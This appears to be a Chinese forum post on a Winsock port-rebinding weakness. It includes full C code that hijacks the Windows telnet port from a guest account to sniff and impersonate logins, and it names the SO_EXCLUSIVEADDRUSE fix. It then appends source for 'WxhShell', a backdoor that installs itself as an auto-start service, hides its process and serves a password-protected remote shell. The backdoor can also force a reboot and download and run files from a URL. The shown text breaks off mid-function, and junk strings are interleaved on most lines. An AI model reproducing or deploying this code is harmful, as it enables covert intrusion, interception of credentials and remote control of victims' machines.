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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: OEkN(wF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0`[wpZ  
eY|  
  saddr.sin_family = AF_INET; z[3L2U~6  
+w+} b^4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); r_-_a(1R:  
+Nt2 +Y:O  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); LRNh@g4ei  
9;B0Mq py  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <x<"n t  
y$_eCmq  
  这意味着什么?意味着可以进行如下的攻击: "\3B^ e,  
"t~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;oy-#p>N%  
])nPPf  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Y4v|ko`l%  
O R;uqV@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 o}* hY"&  
MpF$xzh  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;J ayoJ  
FgB& b  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 l=v4Fa0^jF  
}Nf%n@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 U15H@h  
uLWh |   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 E(Z8  
/N&CaH\;^$  
  #include BS:+~|3w  
  #include j 4^97  
  #include uA#P'?  
  #include    ;{U@qQD7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +Zaj,oEE  
  int main() R5X.^u  
  { 34Kw!  
  WORD wVersionRequested; x3o ]U)^  
  DWORD ret; v#U"pn|M  
  WSADATA wsaData; N _86t  
  BOOL val; '*"vkgN  
  SOCKADDR_IN saddr; Yq%9M=#k  
  SOCKADDR_IN scaddr; Aj+2;]M  
  int err; i? K|TC`  
  SOCKET s; xUa{1!Y8  
  SOCKET sc; cT!\{ ~  
  int caddsize; Cd>WUw  
  HANDLE mt; K>DR Jz  
  DWORD tid;   G}ob<`o|"  
  wVersionRequested = MAKEWORD( 2, 2 ); paD!Z0v&  
  err = WSAStartup( wVersionRequested, &wsaData ); B4i!/@0s  
  if ( err != 0 ) { r}mbXvn  
  printf("error!WSAStartup failed!\n"); Nw1#M%/!r!  
  return -1; f]\CD<g3|E  
  } x6e}( &p*  
  saddr.sin_family = AF_INET; Ljx(\Cm  
   vJ-q*qM1  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [Z}9>~m  
<c qbUL  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U8LtG/  
  saddr.sin_port = htons(23); 'gTbA?+@5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Zf65`K3  
  { NqDHCI  
  printf("error!socket failed!\n"); iX2]VRNxl  
  return -1; z6w3"9Um  
  } \\u<S=G  
  val = TRUE; enSXP~9w  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :$m}UA-9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y*tZ !m2Gg  
  { /oR<A  
  printf("error!setsockopt failed!\n"); &iA?+kV  
  return -1; ,u`YT%&L  
  } T ^~5n6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; jO1r)hw N>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nysUZB  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O"c;|zCc>  
9&_<f}ou  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 83Q 4On  
  { SVB\  
  ret=GetLastError(); EioB%f3  
  printf("error!bind failed!\n"); znaUBv_  
  return -1; 6u7?dG'4  
  } #>mr[   
  listen(s,2); \0vr>C  
  while(1) EodQ*{l  
  { >V*mr{/1  
  caddsize = sizeof(scaddr); +E.GLn2 /  
  //接受连接请求 -U/c\-~fU  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _;UE9S%  
  if(sc!=INVALID_SOCKET) {yB&xj[z  
  { ?l^1 *Q,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t`,` 6@d  
  if(mt==NULL) ZsOIH<}S  
  { ;o 0&`b?  
  printf("Thread Creat Failed!\n"); m|:_]/*qE  
  break; kAC&S!n  
  } ~?FpU  
  } m/y2WlcRx  
  CloseHandle(mt); .sj^{kGE  
  } e[ /dv)J  
  closesocket(s); R5 9S@MsuD  
  WSACleanup(); 5yiK+-iTs  
  return 0; J1:1B ,^y  
  }   1PP $XJtyD  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~ ArP9 K "  
  { dRaNzK)M  
  SOCKET ss = (SOCKET)lpParam; 4y'OMRy  
  SOCKET sc; Wv/%^3  
  unsigned char buf[4096]; ( m:Zk$  
  SOCKADDR_IN saddr; Oms. e  
  long num; 8_6Q~  
  DWORD val; ~tR~?b T  
  DWORD ret; pD01,5/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 j(k: @  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   70;Jl).\{  
  saddr.sin_family = AF_INET; [.S#rGYk  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S4h:|jLUF  
  saddr.sin_port = htons(23); ,J{ei7TN  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Bxfc}vC.  
  { d~`x )B(  
  printf("error!socket failed!\n"); j"|=C$Kn/  
  return -1; m$W <  
  } D6G oa(!9d  
  val = 100; g47-db"5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3MY(<TGX  
  { P5#r,:zL  
  ret = GetLastError(); (v}>tb*#`  
  return -1; >ey\jDr#O  
  } 'b#0t#|TM  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lobGj8uxq  
  { [I$ BmGQ  
  ret = GetLastError(); N%"Y  
  return -1; 0VGPEKRh  
  } k=B] &F  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) KOp162X>r  
  { 0DmMG  
  printf("error!socket connect failed!\n"); we;G]`@?  
  closesocket(sc); aP8H`^DFX>  
  closesocket(ss); pSr{>;bN  
  return -1; x-AZ %)N9  
  } /~Z?27F6@  
  while(1) ;r>snJ=M  
  { MV\|e1B}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 " 9^j.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 bX*Hi#J~A  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _:-ha?W$;y  
  num = recv(ss,buf,4096,0); -Gw$#!  
  if(num>0) o_D?t-XH  
  send(sc,buf,num,0); u\LFlX0sO  
  else if(num==0) zSSB>D  
  break; GA?87N  
  num = recv(sc,buf,4096,0); m"fNK$_d  
  if(num>0) 20iq2  
  send(ss,buf,num,0); @:U+9[  
  else if(num==0) qZh1`\G  
  break; (A?H1 9  
  } )~+e`q  
  closesocket(ss); NDs!a  
  closesocket(sc); LwK+:4$  
  return 0 ; &/uu)v  
  } &%s8L\?  
'{J&M|<A  
<YOLxR  
========================================================== AjT%]9 V?  
Xy@7y[s]  
下边附上一个代码,,WXhSHELL 1 29q`u;  
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========================================================== SnFk>`  
Yb /i{@AJ  
#include "stdafx.h" tX@_fYb  
F8uNL)gKj)  
#include <stdio.h> kH4Ai3#g  
#include <string.h> E/09hD Q  
#include <windows.h> "bm  
#include <winsock2.h> PC[c/CoD  
#include <winsvc.h> B';6r4I-  
#include <urlmon.h> RheRe  
XvE9 b5}  
#pragma comment (lib, "Ws2_32.lib") QR Ei7@t  
#pragma comment (lib, "urlmon.lib") 5Pd"h S  
.9"Y_/0   
#define MAX_USER   100 // 最大客户端连接数 V\{tmDE  
#define BUF_SOCK   200 // sock buffer h-m \%|D  
#define KEY_BUFF   255 // 输入 buffer )* Q-.Je/U  
xw3YK!$sIF  
#define REBOOT     0   // 重启 6X\ 2GC9  
#define SHUTDOWN   1   // 关机 =Apxdnz,  
66'?&Xx'  
#define DEF_PORT   5000 // 监听端口 :J :, m  
g=2Rqi5  
#define REG_LEN     16   // 注册表键长度 g*F'[Z."  
#define SVC_LEN     80   // NT服务名长度 /-qxS <?o  
:LQ5 u[g$\  
// 从dll定义API h~(D@/tB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !O#dV1wAa  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {fEwA8Ir  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lr{?"tl_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ' /$d0`3B>  
,N e;kI  
// wxhshell配置信息 ^RP)>d9Xp{  
struct WSCFG { DZv=\<$,LF  
  int ws_port;         // 监听端口 [ e8x&{L-_  
  char ws_passstr[REG_LEN]; // 口令 |<Gl91  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]Z oD'-,  
  char ws_regname[REG_LEN]; // 注册表键名 `d[1`P1i[  
  char ws_svcname[REG_LEN]; // 服务名 *JaqTI,e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Qhw^S*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %<\6TZr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !Yw3 d   
int ws_downexe;       // 下载执行标记, 1=yes 0=no TD9;kN1`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Xu>r~^w=S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r)1'ePI"  
WJ d%2pO]  
}; s-RQMK}H  
~j#]tElb  
// default Wxhshell configuration :T._ba3|  
struct WSCFG wscfg={DEF_PORT, q-rB2  
    "xuhuanlingzhe", %rF?dvb;?  
    1, {XW Z<OjG  
    "Wxhshell", k~/>b~ .c  
    "Wxhshell", RiTa \  
            "WxhShell Service", t(+) #  
    "Wrsky Windows CmdShell Service", Ik[s  
    "Please Input Your Password: ", _9?I A  
  1, :mS# h@l  
  "http://www.wrsky.com/wxhshell.exe", i:cXwQG}B  
  "Wxhshell.exe" Pf$pt  
    }; r 3M1e+'fc  
DwV4o^J:l  
// 消息定义模块 `zR+tbm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Kv rX{F=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cPl`2&p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1t Jg#/?  
char *msg_ws_ext="\n\rExit."; uU> wg*m  
char *msg_ws_end="\n\rQuit."; A#W?2k9  
char *msg_ws_boot="\n\rReboot..."; g1UGd  
char *msg_ws_poff="\n\rShutdown..."; UDe |Sb  
char *msg_ws_down="\n\rSave to "; Bcjx>#3?L  
`xc^_781\  
char *msg_ws_err="\n\rErr!"; 7]BW[~77  
char *msg_ws_ok="\n\rOK!"; `-\/$M9s=  
Hi yc#-4  
char ExeFile[MAX_PATH]; Lj"A4i_  
int nUser = 0; ;=9 >MS}  
HANDLE handles[MAX_USER]; }HG#s4  
int OsIsNt; "ywh9cp  
i z~ pGkt  
SERVICE_STATUS       serviceStatus; Yyfq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g!`3{ /4  
AWjm~D-?  
// 函数声明 oM)h#8bq  
int Install(void); w]_zp?\^ }  
int Uninstall(void); [<,~3oRu  
int DownloadFile(char *sURL, SOCKET wsh); t'~/$=9}  
int Boot(int flag); Lqp8yVO  
void HideProc(void); S#b-awk  
int GetOsVer(void); Pe_!?:vF  
int Wxhshell(SOCKET wsl); /{{UP-  
void TalkWithClient(void *cs); `Bw9O%]-S  
int CmdShell(SOCKET sock); enTW0U}  
int StartFromService(void); 5PIZh<  
int StartWxhshell(LPSTR lpCmdLine); ]u-02g  
z**hD2R!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oR~e#<$;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 97,rE$bC  
YxGcFjJ  
// 数据结构和表定义 Otz E:qe  
SERVICE_TABLE_ENTRY DispatchTable[] = -L3|&O_  
{ D-U<u@A4  
{wscfg.ws_svcname, NTServiceMain}, ,=~z6[  
{NULL, NULL} ai'4_  
}; `$604+G  
8*SP~q  
// 自我安装 3^ StIw{X  
int Install(void) : 5U"XY x@  
{ ;D.h 65rr  
  char svExeFile[MAX_PATH]; m))<!3  
  HKEY key; id?#TqD  
  strcpy(svExeFile,ExeFile); o3Vn<Z$/Cl  
FkqQf8HB  
// 如果是win9x系统,修改注册表设为自启动 /_\#zC[  
if(!OsIsNt) { #n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L!'k ! k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A;J MV+2N  
  RegCloseKey(key); >m'x8xB=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7$k8%lI;>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pz_NDI  
  RegCloseKey(key); tQ~WEC  
  return 0; \]Dt4o*yZ  
    } I<=Df5M  
  } &48_2Q"{  
} 7dX/bzUVz8  
else { rxO2js  
AY SSa 1}  
// 如果是NT以上系统,安装为系统服务 [Qdq}FYr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ir:d'g1k  
if (schSCManager!=0) #Y93y\  
{ dp5f7>]:(  
  SC_HANDLE schService = CreateService sLcFt1  
  ( R 4wr  
  schSCManager, +jqj6O@Tjr  
  wscfg.ws_svcname,  jAND7&W  
  wscfg.ws_svcdisp, t=R6mjb  
  SERVICE_ALL_ACCESS, ]bgY6@M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #*c F8NV-  
  SERVICE_AUTO_START, 'ZQWYr9R  
  SERVICE_ERROR_NORMAL, tVqmn  
  svExeFile, X8<2L 2:  
  NULL, n(lk dw  
  NULL, lM#A3/=K  
  NULL, O}#yijU3e  
  NULL, &s)0z)mR8&  
  NULL 3,);0@I  
  ); fA! 6sB  
  if (schService!=0) q6wr=OWD  
  { !RlC~^ -  
  CloseServiceHandle(schService); M8@_Uj  
  CloseServiceHandle(schSCManager); *OdX u&5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g6sjc,`  
  strcat(svExeFile,wscfg.ws_svcname); bQa oMZB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P|^$kK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4Z)DDz-}V  
  RegCloseKey(key); 1Xyp/X2rI  
  return 0; |z^pL1Z]5  
    } y1BgK>R  
  } |*,jU;NI  
  CloseServiceHandle(schSCManager); Gqyue7;0,  
} qd!#t]  
} Sd:.KRTu.  
mYNEz @  
return 1; (Btv ClZ  
} y~F<9;$=  
^GYq#q9Q  
// 自我卸载 TK>{qxt:=  
int Uninstall(void) u8OxD  
{ aEx(rLd+  
  HKEY key; >WM3|  
.}9FEn 8  
if(!OsIsNt) { nd+?O7~}(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }`9`JmNM  
  RegDeleteValue(key,wscfg.ws_regname); C$#W{2x%6  
  RegCloseKey(key); 16@);Ot  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "A]Y~iQ  
  RegDeleteValue(key,wscfg.ws_regname); zfjTQMaxh  
  RegCloseKey(key); (:Cc3  
  return 0; %^9:%ytt  
  } <]8^J}8T{D  
} ?An,-N-ezf  
} [U_[</L7  
else { 0k?Sq#7q  
C>*n9l[M~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RI@*O6\/I  
if (schSCManager!=0) acOJ]]  
{ Dw |3Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \]Z&P,}w  
  if (schService!=0) St>`p-  
  { Isovwd  
  if(DeleteService(schService)!=0) { 8mgQu]>  
  CloseServiceHandle(schService); 4&N$:j<  
  CloseServiceHandle(schSCManager); ^t78jfl  
  return 0; *`KrVu 6s  
  } C(]'&~}(  
  CloseServiceHandle(schService); ):bu;3E  
  } ,deUsc  
  CloseServiceHandle(schSCManager); 3#Y3Dz`  
} Q-R}qy5y  
} V_;9TC  
)&.!3y 660  
return 1; j 0 Y  
} 3C"_$?y"  
Yg6I&#f7&  
// 从指定url下载文件 #'>?:k  
int DownloadFile(char *sURL, SOCKET wsh) S!7g)  
{ iMWW%@U^=  
  HRESULT hr; >%c*Xe  
char seps[]= "/"; b|ZLX:  
char *token; G+yL;G/  
char *file; lA{(8sKN  
char myURL[MAX_PATH]; M7VID6J.  
char myFILE[MAX_PATH]; +5*vABvCu  
y`b\;kd  
strcpy(myURL,sURL); + v[O  
  token=strtok(myURL,seps); ,QS'$n  
  while(token!=NULL) z{6 YC~  
  { 2cjEex:&  
    file=token; Bn-J_-%M  
  token=strtok(NULL,seps); b5Q8pWZg,  
  } +Pw,Nl\KD  
hNO )~rt  
GetCurrentDirectory(MAX_PATH,myFILE);  N ?+eWY  
strcat(myFILE, "\\"); v[D&L_  
strcat(myFILE, file); IIax gfhZ  
  send(wsh,myFILE,strlen(myFILE),0); XOxB (0@  
send(wsh,"...",3,0); ?f@ 9nph  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .&chdVcxyS  
  if(hr==S_OK) )nnCCR S6  
return 0; L*O>IQh2  
else XTj73 MWY  
return 1; !~d'{sy6  
p!GZCf,   
} MOyT< $  
kZK//YN#  
// 系统电源模块 [tm[,VfA^  
int Boot(int flag) tE:X,Lt[  
{ vpafru4  
  HANDLE hToken; i>"dBJh]b  
  TOKEN_PRIVILEGES tkp; v?%3~XoH  
.M+v?A d  
  if(OsIsNt) { &Y=.D:z<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c `ud;lI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?{j@6,  
    tkp.PrivilegeCount = 1; N<"`ShCNM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E&9!1!B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); leIy|K>\m  
if(flag==REBOOT) { a hwy_\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XSl!T/d  
  return 0; \kk!Dz*H  
} 3q CHh  
else { wDZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~B*~'I9b*  
  return 0; *N'hA5.z  
} g9|qbKQ:[  
  } xDLMPo&  
  else { !Y|8z\ Q  
if(flag==REBOOT) { fPrb%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ivjw<XP6K  
  return 0; IwM8#6;S~  
} _iq2([BpL  
else { >3+FZ@.iT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V*~423  
  return 0; X/wmKi  
} C{)HlOW  
} FbBX}n  
|f3U%2@  
return 1; [%t3[p<)O  
} ;'hi9L  
Lb^(E-  
// win9x进程隐藏模块 jjX%$Hr  
void HideProc(void) ,{pGP#  
{ " SLvUzO>q  
`1$y(w]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k%^<}s@  
  if ( hKernel != NULL ) ~ z>BfL  
  { 0&Qsk!-B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \ boL`X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $kIo4$.Y$  
    FreeLibrary(hKernel); &8waih(|  
  } $mD>r x  
p6 <}3m$  
return; M`bL5J;  
} L=,Y1nO:p  
&:q[-K@!  
// 获取操作系统版本 \.kTe<.:_  
int GetOsVer(void) 9='=-;@/5  
{ IJldN6&\q  
  OSVERSIONINFO winfo; %P(;8sS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Kc-Y  
  GetVersionEx(&winfo); Gxo# !  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u2\+?`Ox  
  return 1; s><IykIi  
  else ?LR"hZ>  
  return 0; Ou? r {$(b  
} 2q/nAQ+  
XN4oL[pO  
// 客户端句柄模块 Et)9 20  
int Wxhshell(SOCKET wsl) _ r~+p  
{ 'HJ/2-=  
  SOCKET wsh; *$JB`=Q  
  struct sockaddr_in client; a6k(9ZF  
  DWORD myID; 6EZ1YG}  
yV8-  
  while(nUser<MAX_USER) D>ojW|@}  
{ 1Jl{1;c  
  int nSize=sizeof(client); @uoT{E[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HRj7n<>L=  
  if(wsh==INVALID_SOCKET) return 1; WBy[m ?d  
m';#R9\Fz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EZ..^M3  
if(handles[nUser]==0) iwB8I^  
  closesocket(wsh); 0Y[*lM-  
else ~Vwk:+):  
  nUser++; m; 1'u;  
  } 0GS{F8f~,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U) +?$ Tbm  
BSOjyy1f  
  return 0; ]c5DOv&  
} B'<!k7Ewy  
\y[Bu^tk  
// 关闭 socket ^v ]UcnB0  
void CloseIt(SOCKET wsh) `}[VwQ  
{ +g)_4fV0|  
closesocket(wsh); KlY,NSlQ  
nUser--; 4=~ 9v  
ExitThread(0); W)|c[Q\  
} /tG5!l  
B%TXw#|  
// 客户端请求句柄 P8"6"}B;T  
void TalkWithClient(void *cs) qbEKp HnB  
{ /3OC7!~;fM  
7WgIhQ~  
  SOCKET wsh=(SOCKET)cs; s Ke,  
  char pwd[SVC_LEN]; ? 7/W>  
  char cmd[KEY_BUFF];  \C!%IR  
char chr[1]; G(:s-x ig6  
int i,j; *Kp}B}}J  
KbXbT  
  while (nUser < MAX_USER) { dFd lB `L  
$*YC7f  
if(wscfg.ws_passstr) { u)tHOV>&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N[0 xqQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  CEbzJ   
  //ZeroMemory(pwd,KEY_BUFF); y>>vGU;  
      i=0; qUifw @  
  while(i<SVC_LEN) { gTqeJWX9wP  
N-X VRuv  
  // 设置超时 s.VUd R"  
  fd_set FdRead; fEHh]%GT`  
  struct timeval TimeOut; &7$,<9.  
  FD_ZERO(&FdRead); D/gd  
  FD_SET(wsh,&FdRead); kuWK/6l4  
  TimeOut.tv_sec=8; .Ln;m8  
  TimeOut.tv_usec=0; `l+ >iM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w 9G_>+?E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5dg-d\ 6S  
UN-T ^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \R6;Fef  
  pwd=chr[0]; dNOX&$/=  
  if(chr[0]==0xd || chr[0]==0xa) { A Z4|&iT  
  pwd=0; BO?mQu~  
  break; - P\S>G.  
  } x1.3W j  
  i++; hq5NQi` %  
    } ' 9IP;  
zY]Bu-S3  
  // 如果是非法用户,关闭 socket CWE Ejl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6W)xj6<@  
} B*- ToXQQr  
m Y$nI -P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %y~`"l$-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >W>##vK  
X*TuQ\T  
while(1) { L{cK^ ,  
^;0~6uBEJr  
  ZeroMemory(cmd,KEY_BUFF); H @_eFlT t  
9=Y,["br$_  
      // 自动支持客户端 telnet标准   ^t\kLU  
  j=0; \?bwm&6+r  
  while(j<KEY_BUFF) { [ED!J~lg8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WpXODkQL  
  cmd[j]=chr[0]; aEcktg6h  
  if(chr[0]==0xa || chr[0]==0xd) { i!CKA}",  
  cmd[j]=0; &_< VZS  
  break; OT-n\sL$  
  } 2>!_B\%)H  
  j++; #g@  
    } zkjPLeX  
hknwis%y  
  // 下载文件 fl} rz  
  if(strstr(cmd,"http://")) { E9yFREvQc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S 23S.]r  
  if(DownloadFile(cmd,wsh)) X)`(nj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xDPQG`6  
  else wm); aWP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u} JQTro  
  } mr:kn0  
  else { ^/_\etV  
xB?S#5G}  
    switch(cmd[0]) { JIyBhFI  
  :NwMb^>  
  // 帮助 )z]q"s5 Y  
  case '?': { :N^@a-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NWo7wVwc/c  
    break; ]I{qp~^#n  
  } n.2E8m/  
  // 安装 3v9gb,)y\  
  case 'i': { uS! 35{.>  
    if(Install()) 1$='`@8I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t 3(%UB  
    else zznPD%#Sc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .jU|gf:x  
    break; t x:rj6 -z  
    } jw:4fb  
  // 卸载 h]J&A  
  case 'r': { #,f}lV,&  
    if(Uninstall()) * kX3sG$8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |@o]X?^  
    else 6Nfof  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ka?IX9t\  
    break; 8w{#R{w  
    } xm%[}Dt]  
  // 显示 wxhshell 所在路径 TEaD-mY3  
  case 'p': { -4*'WzWr  
    char svExeFile[MAX_PATH]; f_i"/xC-/  
    strcpy(svExeFile,"\n\r"); `-72>F;T  
      strcat(svExeFile,ExeFile); W (=Wg|cr  
        send(wsh,svExeFile,strlen(svExeFile),0); ]wkSAi5z*  
    break; $I}Hk^X  
    } xJ[k#?T'  
  // 重启 s${T*)S@G  
  case 'b': { 'k-u9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !wLH&X$XT  
    if(Boot(REBOOT)) &;6|nl9;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |d/x~t=  
    else { br34Eh  
    closesocket(wsh); O?C-nw6kP  
    ExitThread(0); <FUqD0sQ  
    } |xsV(jK8  
    break; AiyvHt  
    } q G :jnl  
  // 关机 j=xtnIq  
  case 'd': { @\%)'WU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3PvZ_!G  
    if(Boot(SHUTDOWN)) P`Hd*xh".j  
